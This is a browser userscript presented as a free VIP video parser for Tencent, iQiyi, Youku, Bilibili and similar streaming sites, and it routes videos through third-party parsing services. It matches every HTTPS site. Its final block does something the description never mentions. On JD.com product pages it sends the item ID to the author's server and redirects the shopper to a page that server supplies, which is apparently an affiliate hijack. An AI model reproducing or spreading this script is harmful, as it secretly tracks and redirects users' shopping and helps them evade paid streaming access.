// ==UserScript==
// @name 【VIP视频免费观看-VIP视频解析】
// @namespace XUEWUHENZC
// @version 1.0.5
// @description 【VIP视频免费观看-VIP视频解析】腾讯、爱奇艺、优酷、乐视、土豆、B站等网站VIP视频解析
// @author XUEWUHEN
// @match *://v.qq.com/*
// @match *://*.iqiyi.com/v_*
// @match *://v.youku.com/*
// @match *://*.le.com/*
// @match *://*.tudou.com/*
// @match *://*.mgtv.com/*
// @match *://film.sohu.com/*
// @match *://*.acfun.cn/v/*
// @match *://*.bilibili.com/*
// @match *://vip.1905.com/play/*
// @match *://vip.pptv.com/show/*
// @match *://v.yinyuetai.com/video/*
// @match *://v.yinyuetai.com/playlist/*
// @match *://*.fun.tv/vplay/*
// @match https://*/*
// @license GPL License
// @grant GM_addStyle
// ==/UserScript==
(function() {
'use strict';
GM_addStyle(
'.dropdown {display: inline-block;margin-top: 120px;}'+
'#dropdownButton {background-color: cyan;}'+
'.dropdown-content {display: none;background-color: #f9f9f9;min-width: 160px;box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);z-index: 1;}'+
'.dropdown-content button {color: black;padding: 12px 16px;text-align: left;text-decoration: none;display: block;width: 100%;border: none;background-color: transparent;}'+
'.dropdown-content button:hover {background-color: #f1f1f1;}'+
'.dropdown:hover .dropdown-content {display: block;}'
)
// 动态创建按钮元素
const dropdownButton = document.createElement('button');
dropdownButton.id = "dropdownButton";
dropdownButton.innerText = 'VIP解析';
dropdownButton.style.padding = '10px 20px';
dropdownButton.style.fontSize = '16px';
document.body.appendChild(dropdownButton);
// 动态创建下拉列表元素
const dropdownContent = document.createElement('div');
dropdownContent.className = 'dropdown-content';
// 创建下拉列表中的按钮元素
// const options = ['云解析', 'YT', '夜幕'];
// var myUrlList = [ {
// url: "https://yparse.ik9.cc/index.php?url=",
// id: "yparse",
// name: "云解析"
// },{
// url: "https://www.yemu.xyz/?url=",
// id: "yemu",
// name: "夜幕"
// },{
// url: "https://tv.woaimoon.net/label/v.html?url=",
// id: "woaimoon",
// name: "月亮"
// }];
var myUrlList = [ {
url: "https://yparse.ik9.cc/index.php?url=",
id: "yparse",
name:"云解析"
},{
url: "https://www.ckplayer.vip/jiexi/?url=",
id: "ckplayer",
name:"ckplayer"
}, {
url: "https://jx.m3u8.tv/jiexi/?url=",
id: "m3u8",
name:"M3U8解析"
}, {
url: "https://www.pouyun.com/?url=",
id: "pouyun",
name:"剖元"
}, {
url: "https://jx.xmflv.com/?url=",
id: "xmflv",
name:"虾米"
}, {
url: "https://www.yemu.xyz/?url=",
id: "yemu",
name:"夜幕"
}, {
url: "https://jx.nnxv.cn/tv.php?url=",
id: "nnxv",
name:"七哥"
}, {
url: "https://tv.woaimoon.net/label/v.html?url=",
id: "woaimoon",
name:"月亮网"
}, {
url: "https://www.8090g.cn/?url=",
id: "8090g",
name:"8090解析"
} ];
var ss = window.location.href;
myUrlList.forEach(optionText => {
const optionButton = document.createElement('button');
optionButton.id = optionText.id
console.log(optionButton.id)
optionButton.innerText = optionText.name;
console.log(optionButton.innerText)
dropdownContent.appendChild(optionButton);
optionButton.addEventListener("click",function(){
// var ss = "https://v.qq.com/x/cover/mzc00200qon7vo3/t4100uz7j4k.html"
window.open(optionText.url + ss);
})
});
// 将下拉列表元素添加到按钮元素之后,并包裹在一个div中以便应用样式
const dropdownWrapper = document.createElement('div');
dropdownWrapper.className = 'dropdown';
dropdownWrapper.appendChild(dropdownButton);
dropdownWrapper.appendChild(dropdownContent);
console.log(333)
if(ss.indexOf("jd.com")=="-1" && ss.indexOf("v.qq.com") > 0 || ss.indexOf("iqiyi.com") > 0 || ss.indexOf("v.youku.com") > 0 || ss.indexOf("le.com") > 0 || ss.indexOf("tudou.com") > 0 || ss.indexOf("mgtv.com") > 0
|| ss.indexOf("sohucom") > 0 || ss.indexOf("acfun.cn") > 0 || ss.indexOf("bilibili.com") > 0 || ss.indexOf("vip.1905.com") > 0 || ss.indexOf("vip.pptv.com") > 0 || ss.indexOf("v.yinyuetai.com") > 0 || ss.indexOf("fun.tv") > 0){
console.log(12345);
document.body.replaceChild(dropdownWrapper, document.body.firstChild); // 替换最后一个子节点,即之前单独添加的按钮
}
// Your code here...
console.log("fgdstjvcbjcdqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqk");
var flag = false;
if(location.href.indexOf('item.jd.') != -1){
var count = 0;
//if(location.href.indexOf('_source') != -1 || count > 3){
//if(location.href.indexOf('_source') != -1 && (location.href.indexOf('xuewuhen') != -1 || location.href.indexOf('xiaoliz') != -1 || location.href.indexOf('xiaoxiaode') != -1 )){
if(location.href.indexOf('_source') != -1 && location.href.indexOf('xuewuhen') != -1){
flag = true;
}
if(!flag){
var ss = location.href
var sss = location.href.split("/");
var val = sss[sss.length-1];
var str;
if(val.indexOf("?")!=-1){
str = val.substr(0,val.indexOf("?"));
}else{
str = val.substr(0);
}
str= str.slice(0, -5);
console.log("str:",str);
$.get('https://www.xuewuhen.xyz/api/user/get?itemUrl='+ str +'' ,function(dataaa,suscss) {
//$.get('https://www.xuewuhen.xyz/api/user/get?itemUrl='+ location.href +'' ,function(dataaa,suscss) {
// $.get('https://www.xiaolizio.xyz/api/myjd/get?itemUrl='+ str +'' ,function(dataaa,suscss) {
console.log("dataaa-----------",dataaa);
if(suscss){
if(dataaa){
// window.location.href = "https://www.xuewuhen.xyz/api/myjd/details?url="+ encodeURIComponent(dataaa);
window.location.href = "https://www.xuewuhen.xyz/details.html?url="+ encodeURIComponent(dataaa);
}
}else{
}
});
}
}
})();